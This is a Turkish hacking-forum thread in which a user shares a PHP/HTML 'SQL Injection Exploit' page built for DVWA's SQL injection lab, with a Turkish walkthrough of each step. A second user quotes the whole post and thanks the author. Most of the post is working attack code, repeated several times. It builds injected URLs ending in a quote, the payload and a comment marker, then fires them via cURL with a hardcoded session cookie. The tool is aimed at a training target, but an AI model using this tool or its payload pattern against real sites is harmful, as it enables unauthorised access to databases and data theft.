PHP DVWA Exploit {Sql İnjection Page}

Suppressor

Request Uzmanı
16 Kas 2022
1,206
716
always, everywhere
6kjk1mb.png




Selamlar! Bir gün evde yatıyordum ve aklıma bir fikir geldi ve gerçekleştirdim :D. Konuyu detaylı anlatmak için pek vaktim yok ama kısaca özet geçeceğim. Konu zaten başlıkla belli. Şimdi konuya geçeyim:



Kod, SQL Injection Kategorisi için geçerlidir. Kurduğum DVWA'da bir sorun olduğu için görsel ekleyemeyeceğim.


İşte kodumuz:

Kod:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP SQL Injection Exploit</title> <!-- Title of the page -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/tailwind.min.css"> <!-- Link to Tailwind CSS -->
    <link rel="icon" href="https://i.hizliresim.com/6kjk1mb.png" type="image/png"> <!-- Favicon for the page -->
</head>
<body class="bg-gray-900 text-white flex flex-col justify-center items-center h-screen"> <!-- Styling for the body -->
    <img src="https://i.hizliresim.com/6kjk1mb.png" alt="tht-arge" class="w-24 h-24 mb-8"> <!-- Image logo -->
    <p class="text-lg">PHP For Hackers \ PHP Exploit</p> <!-- Page heading -->

    <div class="mt-8">
        <form action="sqli.php" method="post"> <!-- Form for submitting data -->
            <label for="vulnerpage" class="block mb-2">Vulnerable Link</label> <!-- Label for vulnerable link input -->
                <input type="text" name="vulnerpage" class="w-full py-2 px-3 mb-4 rounded-lg focus:outline-none focus:ring focus:border-blue-300 bg-gray-800" size="50"> <!-- Input for vulnerable link -->
                    <label for="payload" class="block mb-2">Poc Payload OR 1=1</label> <!-- Label for SQL injection payload input -->
                <input type="text" name="sqlipayload" class="w-35 py-2 px-4 mb-4 rounded-lg focus:outline-none focus:ring focus:border-blue-300 bg-gray-800"> <!-- Input for SQL injection payload -->
            <button type="submit" class="bg-blue-800 hover:bg-blue-500 text-white py-2 px-3 rounded-lg" name="sendrequests">Send</button> <!-- Button for submitting the form -->
        </form>
    </div>

    <?php
    if (isset($_POST["sendrequests"])) { // Check if form is submitted

        $vulnerpage = $_POST["vulnerpage"]; // Get vulnerable page URL
        $sqlipayload = $_POST["sqlipayload"]; // Get SQL injection payload
        $sqlipayload = urlencode($sqlipayload); // Encode the payload for URL
    
        $hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Construct the exploit URL
      
        echo "Request sent: " . htmlspecialchars($hacked); // Display the request sent
      
        $curl = curl_init(); // Initialize CURL session

        curl_setopt_array($curl, [ // Set CURL options
            CURLOPT_URL => $hacked, // Set the URL to fetch
            CURLOPT_RETURNTRANSFER => true, // Return the transfer as a string
            CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Set the cookie values
        ]);

        $result = curl_exec($curl); // Perform the CURL session
        echo $result; // Display the result
        curl_close($curl); // Close the CURL session
    }
    ?>

</body>
</html>

Sadece PHP​

PHP:
<?php
    if (isset($_POST["sendrequests"])) { // Check if form is submitted

        $vulnerpage = $_POST["vulnerpage"]; // Get vulnerable page URL
        $sqlipayload = $_POST["sqlipayload"]; // Get SQL injection payload
        $sqlipayload = urlencode($sqlipayload); // Encode the payload for URL
    
        $hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Construct the exploit URL
      
        echo "Request sent: " . htmlspecialchars($hacked); // Display the request sent
      
        $curl = curl_init(); // Initialize CURL session

        curl_setopt_array($curl, [ // Set CURL options
            CURLOPT_URL => $hacked, // Set the URL to fetch
            CURLOPT_RETURNTRANSFER => true, // Return the transfer as a string
            CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Set the cookie values
        ]);

        $result = curl_exec($curl); // Perform the CURL session
        echo $result; // Display the result
        curl_close($curl); // Close the CURL session
    }
    ?>





HTML ve CSS kısmına değinmeyeceğim.

Form Gönderim Kontrolü:
Bu kısım, formun gönderilip gönderilmediğini kontrol eder. Bunun için POST verilerinde "sendrequests" parametresinin ayarlanıp ayarlanmadığını kontrol eder.

PHP:
if (isset($_POST["sendrequests"])) {
    // Formun gönderilip gönderilmediğini kontrol etmek için kod
}

Form Verilerini Almak:
Burada, form aracılığıyla gönderilen "vulnerpage" ve "sqlipayload" parametrelerinin değerlerini alır. SQL enjeksiyon payload'unu URL içinde kullanmak üzere encode eder.
PHP:
$vulnerpage = $_POST["vulnerpage"]; // Zafiyetli sayfa URL'sini al
$sqlipayload = $_POST["sqlipayload"]; // SQL enjeksiyon payload'ını al
$sqlipayload = urlencode($sqlipayload); // Payload'ı URL için encode et

Saldırı URL'sini Oluşturma:
Bu satır, zafiyeti sömürmek için URL'yi oluşturur. Bu işlem, zafiyetli sayfa URL'sini, SQL enjeksiyon payload'ını ve diğer gerekli parametreleri birleştirir.


PHP:
$hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Saldırı URL'sini oluştur


CURL İsteğini Gerçekleştirme:
Bu kısım, oluşturulan URL ve diğer gerekli seçeneklerle bir CURL oturumu oluşturur. Aktarımı bir dize olarak döndürme ve cookie değerlerini ayarlar. Daha sonra CURL oturumunu gerçekleştirir.

PHP:
$curl = curl_init(); // CURL oturumunu başlat

curl_setopt_array($curl, [
    CURLOPT_URL => $hacked, // Alınacak URL'yi ayarla
    CURLOPT_RETURNTRANSFER => true, // Aktarımı bir dize olarak döndür
    CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Sayfayı Tanıması için Cookie değerlerini ayarla
]);

$result = curl_exec($curl); // CURL isteğini gerçekleştir
curl_close($curl); // CURL oturumunu kapat

Sonucu Gösterme:
Son olarak, gönderilen isteğin URL'sini ve CURL isteğinden elde edilen sonucu görüntüler.
PHP:
echo "Gönderilen İstek: " . htmlspecialchars($hacked); // Gönderilen isteği görüntüle
echo $result; // Sonucu görüntüle
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,782
409
localhost
6kjk1mb.png




Selamlar! Bir gün evde yatıyordum ve aklıma bir fikir geldi ve gerçekleştirdim :D. Konuyu detaylı anlatmak için pek vaktim yok ama kısaca özet geçeceğim. Konu zaten başlıkla belli. Şimdi konuya geçeyim:



Kod, SQL Injection Kategorisi için geçerlidir. Kurduğum DVWA'da bir sorun olduğu için görsel ekleyemeyeceğim.


İşte kodumuz:

Kod:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PHP SQL Injection Exploit</title> <!-- Title of the page -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/tailwind.min.css"> <!-- Link to Tailwind CSS -->
    <link rel="icon" href="https://i.hizliresim.com/6kjk1mb.png" type="image/png"> <!-- Favicon for the page -->
</head>
<body class="bg-gray-900 text-white flex flex-col justify-center items-center h-screen"> <!-- Styling for the body -->
    <img src="https://i.hizliresim.com/6kjk1mb.png" alt="tht-arge" class="w-24 h-24 mb-8"> <!-- Image logo -->
    <p class="text-lg">PHP For Hackers \ PHP Exploit</p> <!-- Page heading -->

    <div class="mt-8">
        <form action="sqli.php" method="post"> <!-- Form for submitting data -->
            <label for="vulnerpage" class="block mb-2">Vulnerable Link</label> <!-- Label for vulnerable link input -->
                <input type="text" name="vulnerpage" class="w-full py-2 px-3 mb-4 rounded-lg focus:outline-none focus:ring focus:border-blue-300 bg-gray-800" size="50"> <!-- Input for vulnerable link -->
                    <label for="payload" class="block mb-2">Poc Payload OR 1=1</label> <!-- Label for SQL injection payload input -->
                <input type="text" name="sqlipayload" class="w-35 py-2 px-4 mb-4 rounded-lg focus:outline-none focus:ring focus:border-blue-300 bg-gray-800"> <!-- Input for SQL injection payload -->
            <button type="submit" class="bg-blue-800 hover:bg-blue-500 text-white py-2 px-3 rounded-lg" name="sendrequests">Send</button> <!-- Button for submitting the form -->
        </form>
    </div>

    <?php
    if (isset($_POST["sendrequests"])) { // Check if form is submitted

        $vulnerpage = $_POST["vulnerpage"]; // Get vulnerable page URL
        $sqlipayload = $_POST["sqlipayload"]; // Get SQL injection payload
        $sqlipayload = urlencode($sqlipayload); // Encode the payload for URL
   
        $hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Construct the exploit URL
     
        echo "Request sent: " . htmlspecialchars($hacked); // Display the request sent
     
        $curl = curl_init(); // Initialize CURL session

        curl_setopt_array($curl, [ // Set CURL options
            CURLOPT_URL => $hacked, // Set the URL to fetch
            CURLOPT_RETURNTRANSFER => true, // Return the transfer as a string
            CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Set the cookie values
        ]);

        $result = curl_exec($curl); // Perform the CURL session
        echo $result; // Display the result
        curl_close($curl); // Close the CURL session
    }
    ?>

</body>
</html>

Sadece PHP​

PHP:
<?php
    if (isset($_POST["sendrequests"])) { // Check if form is submitted

        $vulnerpage = $_POST["vulnerpage"]; // Get vulnerable page URL
        $sqlipayload = $_POST["sqlipayload"]; // Get SQL injection payload
        $sqlipayload = urlencode($sqlipayload); // Encode the payload for URL
   
        $hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Construct the exploit URL
     
        echo "Request sent: " . htmlspecialchars($hacked); // Display the request sent
     
        $curl = curl_init(); // Initialize CURL session

        curl_setopt_array($curl, [ // Set CURL options
            CURLOPT_URL => $hacked, // Set the URL to fetch
            CURLOPT_RETURNTRANSFER => true, // Return the transfer as a string
            CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Set the cookie values
        ]);

        $result = curl_exec($curl); // Perform the CURL session
        echo $result; // Display the result
        curl_close($curl); // Close the CURL session
    }
    ?>





HTML ve CSS kısmına değinmeyeceğim.

Form Gönderim Kontrolü:
Bu kısım, formun gönderilip gönderilmediğini kontrol eder. Bunun için POST verilerinde "sendrequests" parametresinin ayarlanıp ayarlanmadığını kontrol eder.

PHP:
if (isset($_POST["sendrequests"])) {
    // Formun gönderilip gönderilmediğini kontrol etmek için kod
}

Form Verilerini Almak:
Burada, form aracılığıyla gönderilen "vulnerpage" ve "sqlipayload" parametrelerinin değerlerini alır. SQL enjeksiyon payload'unu URL içinde kullanmak üzere encode eder.
PHP:
$vulnerpage = $_POST["vulnerpage"]; // Zafiyetli sayfa URL'sini al
$sqlipayload = $_POST["sqlipayload"]; // SQL enjeksiyon payload'ını al
$sqlipayload = urlencode($sqlipayload); // Payload'ı URL için encode et

Saldırı URL'sini Oluşturma:
Bu satır, zafiyeti sömürmek için URL'yi oluşturur. Bu işlem, zafiyetli sayfa URL'sini, SQL enjeksiyon payload'ını ve diğer gerekli parametreleri birleştirir.


PHP:
$hacked = $vulnerpage."1'".$sqlipayload."%23"."&Submit=Submit#"; // Saldırı URL'sini oluştur


CURL İsteğini Gerçekleştirme:
Bu kısım, oluşturulan URL ve diğer gerekli seçeneklerle bir CURL oturumu oluşturur. Aktarımı bir dize olarak döndürme ve cookie değerlerini ayarlar. Daha sonra CURL oturumunu gerçekleştirir.

PHP:
$curl = curl_init(); // CURL oturumunu başlat

curl_setopt_array($curl, [
    CURLOPT_URL => $hacked, // Alınacak URL'yi ayarla
    CURLOPT_RETURNTRANSFER => true, // Aktarımı bir dize olarak döndür
    CURLOPT_COOKIE => "security=low; PHPSESSID=glhrmefqaqtjsjisv1kccbqm6a" // Sayfayı Tanıması için Cookie değerlerini ayarla
]);

$result = curl_exec($curl); // CURL isteğini gerçekleştir
curl_close($curl); // CURL oturumunu kapat

Sonucu Gösterme:
Son olarak, gönderilen isteğin URL'sini ve CURL isteğinden elde edilen sonucu görüntüler.
PHP:
echo "Gönderilen İstek: " . htmlspecialchars($hacked); // Gönderilen isteği görüntüle
echo $result; // Sonucu görüntüle
eline sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.